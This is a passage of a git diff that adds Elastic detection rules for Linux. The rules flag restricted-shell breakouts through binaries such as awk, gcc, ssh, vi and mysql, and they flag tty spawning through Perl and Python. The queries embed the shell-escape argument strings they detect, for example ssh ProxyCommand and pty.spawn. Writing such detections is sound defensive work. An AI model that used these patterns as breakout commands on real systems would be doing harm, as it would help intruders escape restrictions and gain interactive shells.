+name = "Discovery" +reference = "https://attack.mitre.org/tactics/TA0007/" + diff --git a/rules/linux/execution_apt_binary.toml b/rules/linux/execution_apt_binary.toml new file mode 100644 index 000000000..56952c994 --- /dev/null +++ b/rules/linux/execution_apt_binary.toml @@ -0,0 +1,52 @@ +[metadata] +creation_date = "2022/02/24" +maturity = "production" +updated_date = "2022/03/28" + +[rule] +author = ["Elastic"] +description = """ +Identifies Linux binary apt/apt-get abuse to breakout out of restricted shells or environments by spawning an +interactive system shell. The apt utility allows us to manage installation and removal of softwares on Debian based +Linux distributions and the activity of spawning shell is not a standard use of this binary for a user or system +administrator. It indicates a potentially malicious actor attempting to improve the capabilities or stability of their +access. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Linux Restricted Shell Breakout via apt/apt-get Changelog Escape" +references = ["https://gtfobins.github.io/gtfobins/apt/", "https://gtfobins.github.io/gtfobins/apt-get/"] +risk_score = 47 +rule_id = "8fed8450-847e-43bd-874c-3bbf0cd425f3" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Execution", "GTFOBins"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and process.name == "sensible-pager" and + process.args in ("/bin/sh", "/bin/bash", "/bin/dash", "sh", "bash", "dash") and + process.parent.name in ("apt", "apt-get") and process.parent.args == "changelog" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" +[[rule.threat.technique.subtechnique]] +id = "T1059.004" +name = "Unix Shell" +reference = "https://attack.mitre.org/techniques/T1059/004/" + + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/linux/execution_awk_binary_shell.toml b/rules/linux/execution_awk_binary_shell.toml new file mode 100644 index 000000000..ca0b73766 --- /dev/null +++ b/rules/linux/execution_awk_binary_shell.toml @@ -0,0 +1,50 @@ +[metadata] +creation_date = "2022/02/24" +maturity = "production" +updated_date = "2022/03/28" + +[rule] +author = ["Elastic"] +description = """ +Identifies Linux binary awk abuse to breakout out of restricted shells or environments by spawning an interactive system +shell. The awk utility is a text processing language used for data extraction and reporting tools and the activity of +spawning shell is not a standard use of this binary for a user or system administrator. It indicates a potentially +malicious actor attempting to improve the capabilities or stability of their access. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Linux Restricted Shell Breakout via awk Commands" +references = ["https://gtfobins.github.io/gtfobins/nawk/", "https://gtfobins.github.io/gtfobins/mawk/"] +risk_score = 47 +rule_id = "10754992-28c7-4472-be5b-f3770fd04f2d" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Execution", "GTFOBins"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and process.name in ("sh", "bash", "dash") and + process.parent.name in ("nawk", "mawk", "awk", "gawk") and process.parent.args : "BEGIN {system(*)}" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" +[[rule.threat.technique.subtechnique]] +id = "T1059.004" +name = "Unix Shell" +reference = "https://attack.mitre.org/techniques/T1059/004/" + + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/linux/execution_busybox_binary.toml b/rules/linux/execution_busybox_binary.toml new file mode 100644 index 000000000..d6554baed --- /dev/null +++ b/rules/linux/execution_busybox_binary.toml @@ -0,0 +1,49 @@ +[metadata] +creation_date = "2022/03/15" +maturity = "production" +updated_date = "2022/03/24" + +[rule] +author = ["Elastic"] +description = """ +Identifies Linux binary busybox abuse to break out from restricted environments by spawning an interactive system +shell.The busybox is software utility suite that provides several Unix utilities in a single executable file and the activity of spawing a shell is +not a standard use of this binary by a user or system administrator. It indicates a potentially +malicious actor attempting to improve the capabilities or stability of their access. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Linux Restricted Shell Breakout via busybox Shell Evasion" +references = ["https://gtfobins.github.io/gtfobins/busybox/"] +risk_score = 47 +rule_id = "e9b4a3c7-24fc-49fd-a00f-9c938031eef1" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Execution", "GTFOBins"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and process.name == "busybox" and process.args_count == 2 and process.args in ("/bin/sh", "/bin/ash", "sh", "ash") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" +[[rule.threat.technique.subtechnique]] +id = "T1059.004" +name = "Unix Shell" +reference = "https://attack.mitre.org/techniques/T1059/004/" + + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/linux/execution_c89_c99_binary.toml b/rules/linux/execution_c89_c99_binary.toml new file mode 100644 index 000000000..069e90010 --- /dev/null +++ b/rules/linux/execution_c89_c99_binary.toml @@ -0,0 +1,50 @@ +[metadata] +creation_date = "2022/03/15" +maturity = "production" +updated_date = "2022/03/24" + +[rule] +author = ["Elastic"] +description = """ +Identifies Linux binary c89/c99 abuse to break out from restricted environments by spawning an interactive system +shell.The c89/c99 utility is an interface to the standard C compilation system and the activity of spawing a shell is +not a standard use of this binary by a user or system administrator. It indicates a potentially malicious actor +attempting to improve the capabilities or stability of their access. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Linux Restricted Shell Breakout via c89/c99 Shell evasion" +references = ["https://gtfobins.github.io/gtfobins/c89/", "https://gtfobins.github.io/gtfobins/c99/"] +risk_score = 47 +rule_id = "1859ce38-6a50-422b-a5e8-636e231ea0cd" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Execution", "GTFOBins"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and process.name in ("sh", "dash", "bash") and + process.parent.name in ("c89","c99") and process.parent.args == "-wrapper" and + process.parent.args in ("sh,-s", "bash,-s", "dash,-s", "/bin/sh,-s", "/bin/bash,-s", "/bin/dash,-s") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" +[[rule.threat.technique.subtechnique]] +id = "T1059.004" +name = "Unix Shell" +reference = "https://attack.mitre.org/techniques/T1059/004/" + + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" diff --git a/rules/linux/execution_cpulimit_binary.toml b/rules/linux/execution_cpulimit_binary.toml new file mode 100644 index 000000000..c9b503c32 --- /dev/null +++ b/rules/linux/execution_cpulimit_binary.toml @@ -0,0 +1,52 @@ +[metadata] +creation_date = "2022/03/17" +maturity = "production" +updated_date = "2022/03/24" + +[rule] +author = ["Elastic"] +description = """ +Identifies Linux binary cpulimit abuse to break out from restricted environments by spawning an interactive system +shell. The cpulimit utility is used to restrict the CPU usage of a process in cases of CPU or system load exceeding the +defined threshold and the activity of spawning a shell is not a standard use of this binary by a user or system +administrator. This can potentially indicate a malicious actor attempting to improve the capabilities or stability of their +access. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Linux Restricted Shell Breakout via cpulimit Shell Evasion" +references = ["https://gtfobins.github.io/gtfobins/cpulimit/"] +risk_score = 47 +rule_id = "0968cfbd-40f0-4b1c-b7b1-a60736c7b241" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Execution", "GTFOBins"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and process.name in ("bash", "sh", "dash") and + process.parent.name == "cpulimit" and process.parent.args == "-f" and + process.parent.args in ("/bin/sh", "/bin/bash", "/bin/dash", "sh", "bash", "dash") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" +[[rule.threat.technique.subtechnique]] +id = "T1059.004" +name = "Unix Shell" +reference = "https://attack.mitre.org/techniques/T1059/004/" + + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/linux/execution_crash_binary.toml b/rules/linux/execution_crash_binary.toml new file mode 100644 index 000000000..346d2b369 --- /dev/null +++ b/rules/linux/execution_crash_binary.toml @@ -0,0 +1,49 @@ +[metadata] +creation_date = "2022/03/21" +maturity = "production" +updated_date = "2022/03/24" + +[rule] +author = ["Elastic"] +description = """ +Identifies Linux binary crash abuse to break out from restricted environments by spawning an interactive system +shell.The crash utility helps to analyze Linux crash dump data or a live system and the activity of spawing a shell is +not a standard use of this binary by a user or system administrator. It indicates a potentially malicious actor +attempting to improve the capabilities or stability of their access. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Linux Restricted Shell Breakout via crash Shell evasion" +references = ["https://gtfobins.github.io/gtfobins/crash/"] +risk_score = 47 +rule_id = "ee619805-54d7-4c56-ba6f-7717282ddd73" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Execution", "GTFOBins"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and process.parent.name == "crash" and process.parent.args == "-h" and process.name == "sh" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" +[[rule.threat.technique.subtechnique]] +id = "T1059.004" +name = "Unix Shell" +reference = "https://attack.mitre.org/techniques/T1059/004/" + + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/linux/execution_env_binary.toml b/rules/linux/execution_env_binary.toml new file mode 100644 index 000000000..a9aa85cf7 --- /dev/null +++ b/rules/linux/execution_env_binary.toml @@ -0,0 +1,49 @@ +[metadata] +creation_date = "2022/02/24" +maturity = "production" +updated_date = "2022/03/28" + +[rule] +author = ["Elastic"] +description = """ +Identifies Linux binary env abuse to break out from restricted environments by spawning an interactive system shell.The +env utility is a shell command for Unix like OS which is used to print a list of environment variables and the activity +of spawning shell is not a standard use of this binary for a user or system administrator. It indicates a potentially +malicious actor attempting to improve the capabilities or stability of their access +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Linux Restricted Shell Breakout via env Shell Evasion" +references = ["https://gtfobins.github.io/gtfobins/env/"] +risk_score = 47 +rule_id = "72d33577-f155-457d-aad3-379f9b750c97" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Execution", "GTFOBins"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and process.name : "env" and process.args_count == 2 and process.args : ("/bin/sh", "/bin/bash", "sh", "bash") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" +[[rule.threat.technique.subtechnique]] +id = "T1059.004" +name = "Unix Shell" +reference = "https://attack.mitre.org/techniques/T1059/004/" + + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/linux/execution_expect_binary.toml b/rules/linux/execution_expect_binary.toml new file mode 100644 index 000000000..e758b0898 --- /dev/null +++ b/rules/linux/execution_expect_binary.toml @@ -0,0 +1,51 @@ +[metadata] +creation_date = "2022/03/07" +maturity = "production" +updated_date = "2022/03/28" + +[rule] +author = ["Elastic"] +description = """ +Identifies Linux binary expect abuse to break out from restricted environments by spawning an interactive system shell. +The expect utility allows us to automate control of interactive applications such as telnet,ftp,ssh and others and the +activity of spawning shell is not a standard use of this binary for a user or system administrator and could potentially +indicate malicious actor attempting to improve the capabilities or stability of their access. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Linux Restricted Shell Breakout via the expect command" +references = ["https://gtfobins.github.io/gtfobins/expect/"] +risk_score = 47 +rule_id = "fd3fc25e-7c7c-4613-8209-97942ac609f6" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Execution", "GTFOBins"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and process.name in ("bash", "sh", "dash") and + process.parent.name == "expect" and process.parent.args == "-c" and + process.parent.args in ("spawn /bin/sh;interact", "spawn /bin/bash;interact", "spawn /bin/dash;interact", "spawn sh;interact", "spawn bash;interact", "spawn dash;interact") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" +[[rule.threat.technique.subtechnique]] +id = "T1059.004" +name = "Unix Shell" +reference = "https://attack.mitre.org/techniques/T1059/004/" + + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/linux/execution_find_binary.toml b/rules/linux/execution_find_binary.toml new file mode 100644 index 000000000..a093f7cea --- /dev/null +++ b/rules/linux/execution_find_binary.toml @@ -0,0 +1,51 @@ +[metadata] +creation_date = "2022/02/28" +maturity = "production" +updated_date = "2022/03/28" + +[rule] +author = ["Elastic"] +description = """ +Identifies Linux binary find abuse to break out from restricted environments by spawning an interactive system shell. +The find command in Unix is a command line utility for walking a file hirerarchy and the activity of spawning shell is +not a standard use of this binary for a user or system administrator.It indicates a potentially malicious actor +attempting to improve the capabilities or stability of their access. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Linux Restricted Shell Breakout via the find command" +references = ["https://gtfobins.github.io/gtfobins/find/"] +risk_score = 47 +rule_id = "6f683345-bb10-47a7-86a7-71e9c24fb358" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Execution", "GTFOBins"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and process.name in ("bash", "sh") and + process.parent.name == "find" and process.parent.args == "-exec" and + process.parent.args == ";" and process.parent.args in ("/bin/bash", "/bin/sh", "bash", "sh") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" +[[rule.threat.technique.subtechnique]] +id = "T1059.004" +name = "Unix Shell" +reference = "https://attack.mitre.org/techniques/T1059/004/" + + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/linux/execution_flock_binary.toml b/rules/linux/execution_flock_binary.toml new file mode 100644 index 000000000..81dbaaa1a --- /dev/null +++ b/rules/linux/execution_flock_binary.toml @@ -0,0 +1,49 @@ +[metadata] +creation_date = "2022/03/22" +maturity = "production" +updated_date = "2022/03/22" + +[rule] +author = ["Elastic"] +description = """ +Identifies Linux binary flock abuse to break out from restricted environments by spawning an interactive system +shell.The flock utility allows us to manage advisory file locks in shell scripts or on the command line and the activity +of spawing a shell is not a standard use of this binary by a user or system administrator. It indicates a potentially +malicious actor attempting to improve the capabilities or stability of their access. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Linux Restricted Shell Breakout via flock Shell evasion" +references = ["https://gtfobins.github.io/gtfobins/flock/"] +risk_score = 47 +rule_id = "f52362cd-baf1-4b6d-84be-064efc826461" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Execution", "GTFOBins"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and process.parent.name == "flock" and process.parent.args == "-u" and process.parent.args == "/" and process.parent.args in ("/bin/sh", "/bin/bash", "/bin/dash", "sh", "bash", "dash") and process.name in ("bash", "dash", "sh") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" +[[rule.threat.technique.subtechnique]] +id = "T1059.004" +name = "Unix Shell" +reference = "https://attack.mitre.org/techniques/T1059/004/" + + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/linux/execution_gcc_binary.toml b/rules/linux/execution_gcc_binary.toml new file mode 100644 index 000000000..423e51f45 --- /dev/null +++ b/rules/linux/execution_gcc_binary.toml @@ -0,0 +1,51 @@ +[metadata] +creation_date = "2022/03/09" +maturity = "production" +updated_date = "2022/03/28" + +[rule] +author = ["Elastic"] +description = """ +Identifies Linux binary gcc abuse to break out from restricted environments by spawning an interactive system shell.The +gcc utility is a complier system for various languages and mainly used to complie C and C++ programs and the activity of +spawning shell is not a standard use of this binary for a user or system administrator.It indicates a potentially +malicious actor attempting to improve the capabilities or stability of their access. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Linux Restricted Shell Breakout via the gcc command" +references = ["https://gtfobins.github.io/gtfobins/gcc/"] +risk_score = 47 +rule_id = "da986d2c-ffbf-4fd6-af96-a88dbf68f386" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Execution", "GTFOBins"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and process.name in ("sh", "dash", "bash") and + process.parent.name == "gcc" and process.parent.args == "-wrapper" and + process.parent.args in ("sh,-s", "bash,-s", "dash,-s", "/bin/sh,-s", "/bin/bash,-s", "/bin/dash,-s") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" +[[rule.threat.technique.subtechnique]] +id = "T1059.004" +name = "Unix Shell" +reference = "https://attack.mitre.org/techniques/T1059/004/" + + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/linux/execution_mysql_binary.toml b/rules/linux/execution_mysql_binary.toml new file mode 100644 index 000000000..10514c846 --- /dev/null +++ b/rules/linux/execution_mysql_binary.toml @@ -0,0 +1,51 @@ +[metadata] +creation_date = "2022/03/09" +maturity = "production" +updated_date = "2022/03/28" + +[rule] +author = ["Elastic"] +description = """ +Identifies MySQL server abuse to break out from restricted environments by spawning an interactive system shell.The +MySQL is an open source relational database management system and the activity of spawning shell is not a standard use +of this binary for a user or system administrator.It indicates a potentially malicious actor attempting to improve the +capabilities or stability of their access. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Linux Restricted Shell Breakout via the mysql command" +references = ["https://gtfobins.github.io/gtfobins/mysql/"] +risk_score = 47 +rule_id = "83b2c6e5-e0b2-42d7-8542-8f3af86a1acb" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Execution", "GTFOBins"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and process.name in ("bash", "sh", "dash") and + process.parent.name == "mysql" and process.parent.args == "-e" and + process.parent.args : ("\\!*sh", "\\!*bash", "\\!*dash", "\\!*/bin/sh", "\\!*/bin/bash", "\\!*/bin/dash") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" +[[rule.threat.technique.subtechnique]] +id = "T1059.004" +name = "Unix Shell" +reference = "https://attack.mitre.org/techniques/T1059/004/" + + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/linux/execution_nice_binary.toml b/rules/linux/execution_nice_binary.toml new file mode 100644 index 000000000..5ce611e70 --- /dev/null +++ b/rules/linux/execution_nice_binary.toml @@ -0,0 +1,51 @@ +[metadata] +creation_date = "2022/03/07" +maturity = "development" +updated_date = "2022/03/28" + +[rule] +author = ["Elastic"] +description = """ +Identifies Linux binary nice abuse to break out from restricted environments by spawning an interactive system shell.The +nice command is used to invoke a utility or a shell script with a particular CPU priority, thus giving the process more +or less CPU and the activity of spawning shell is not a standard use of this binary for a user or system +administrator.It indicates a potentially malicious actor attempting to improve the capabilities or stability of their +access. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Linux Restricted Shell Breakout via nice Shell evasion" +references = ["https://gtfobins.github.io/gtfobins/nice/"] +risk_score = 47 +rule_id = "22755f7f-1e1e-4528-a75f-bb3f4026d1b9" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Execution", "GTFOBins"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and process.name in ("bash", "sh", "dash") and + process.parent.name == "nice" and process.parent.args in ("/bin/bash", "/bin/sh", "/bin/dash", "sh", "bash", "dash") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" +[[rule.threat.technique.subtechnique]] +id = "T1059.004" +name = "Unix Shell" +reference = "https://attack.mitre.org/techniques/T1059/004/" + + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/linux/execution_perl_tty_shell.toml b/rules/linux/execution_perl_tty_shell.toml new file mode 100644 index 000000000..9ec608508 --- /dev/null +++ b/rules/linux/execution_perl_tty_shell.toml @@ -0,0 +1,41 @@ +[metadata] +creation_date = "2020/04/16" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies when a terminal (tty) is spawned via Perl. Attackers may upgrade a simple reverse shell to a fully +interactive tty after obtaining initial access to a host. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Interactive Terminal Spawned via Perl" +risk_score = 73 +rule_id = "05e5a668-7b51-4a67-93ab-e9af405c9ef3" +severity = "high" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Execution"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and process.name:perl and + process.args:("exec \"/bin/sh\";" or "exec \"/bin/dash\";" or "exec \"/bin/bash\";") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" diff --git a/rules/linux/execution_python_tty_shell.toml b/rules/linux/execution_python_tty_shell.toml new file mode 100644 index 000000000..ae959c002 --- /dev/null +++ b/rules/linux/execution_python_tty_shell.toml @@ -0,0 +1,43 @@ +[metadata] +creation_date = "2020/04/15" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies when a terminal (tty) is spawned via Python. Attackers may upgrade a simple reverse shell to a fully +interactive tty after obtaining initial access to a host. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Interactive Terminal Spawned via Python" +risk_score = 73 +rule_id = "d76b02ef-fc95-4001-9297-01cb7412232f" +severity = "high" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Execution"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and process.name:python and + process.args:("import pty; pty.spawn(\"/bin/sh\")" or + "import pty; pty.spawn(\"/bin/dash\")" or + "import pty; pty.spawn(\"/bin/bash\")") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" diff --git a/rules/linux/execution_ssh_binary.toml b/rules/linux/execution_ssh_binary.toml new file mode 100644 index 000000000..ce42c5028 --- /dev/null +++ b/rules/linux/execution_ssh_binary.toml @@ -0,0 +1,51 @@ +[metadata] +creation_date = "2022/03/10" +maturity = "production" +updated_date = "2022/03/28" + +[rule] +author = ["Elastic"] +description = """ +Identifies Linux binary ssh abuse to break out from restricted environments by spawning an interactive system shell.The +ssh is a network protocol that gives users,particularly system administrators a secure way to access a computer over a +network and the activity of spawning shell is not a standard use of this binary for a user or system administrator.It +indicates a potentially malicious actor attempting to improve the capabilities or stability of their access. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Linux Restricted Shell Breakout via the ssh command" +references = ["https://gtfobins.github.io/gtfobins/ssh/"] +risk_score = 47 +rule_id = "97da359b-2b61-4a40-b2e4-8fc48cf7a294" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Execution", "GTFOBins"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and process.name : ("bash", "sh", "dash") and + process.parent.name == "ssh" and process.parent.args == "-o" and + process.parent.args in ("ProxyCommand=;sh 0<&2 1>&2", "ProxyCommand=;bash 0<&2 1>&2", "ProxyCommand=;dash 0<&2 1>&2", "ProxyCommand=;/bin/sh 0<&2 1>&2", "ProxyCommand=;/bin/bash 0<&2 1>&2", "ProxyCommand=;/bin/dash 0<&2 1>&2") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" +[[rule.threat.technique.subtechnique]] +id = "T1059.004" +name = "Unix Shell" +reference = "https://attack.mitre.org/techniques/T1059/004/" + + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/linux/execution_vi_binary.toml b/rules/linux/execution_vi_binary.toml new file mode 100644 index 000000000..c3cc2b525 --- /dev/null +++ b/rules/linux/execution_vi_binary.toml @@ -0,0 +1,49 @@ +[metadata] +creation_date = "2022/03/03" +maturity = "production" +updated_date = "2022/03/24" + +[rule] +author = ["Elastic"] +description = """ +Identifies Linux binary find abuse to break out from restricted environments by spawning an interactive system shell. +The vi/vim is the standard text editor in Linux distribution and the activity of spawning a shell is not a standard use +of this binary by a user or system administrator and could potentially indicate malicious actor attempting to improve +the capabilities or stability of their access." +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Linux Restricted Shell Breakout via the vi command" +references = ["https://gtfobins.github.io/gtfobins/vi/"] +risk_score = 47 +rule_id = "89583d1b-3c2e-4606-8b74-0a9fd2248e88" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Execution", "GTFOBins"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and process.parent.name in ("vi", "vim") and process.parent.args == "-c" and process.parent.args in (":!/bin/bash", ":!/bin/sh", ":!bash", ":!sh") and process.name in ("bash", "sh") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" +[[rule.threat.technique.subtechnique]] +id = "T1059.004" +name = "Unix Shell" +reference = "https://attack.mitre.org/techniques/T1059/004/" + + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/linux/initial_access_login_failures.toml b/rules/linux/initial_access_login_failures.toml new file mode 100644 index 000000000..6f1f569b9 --- /dev/null +++ b/rules/linux/initial_access_login_failures.toml @@ -0,0 +1,52 @@ +[metadata] +creation_date = "2020/07/08" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = "Identifies that the maximum number of failed login attempts has been reached for a user." +index = ["auditbeat-*"] +language = "kuery" +license = "Elastic License v2" +name = "Auditd Max Failed Login Attempts" +references = [ + "https://github.com/linux-pam/linux-pam/blob/0adbaeb273da1d45213134aa271e95987103281c/modules/pam_faillock/pam_faillock.c#L574", +] +risk_score = 47 +rule_id = "fb9937ce-7e21-46bf-831d-1ad96eac674d" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Initial Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.module:auditd and event.action:"failed-log-in-too-many-times-to" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git 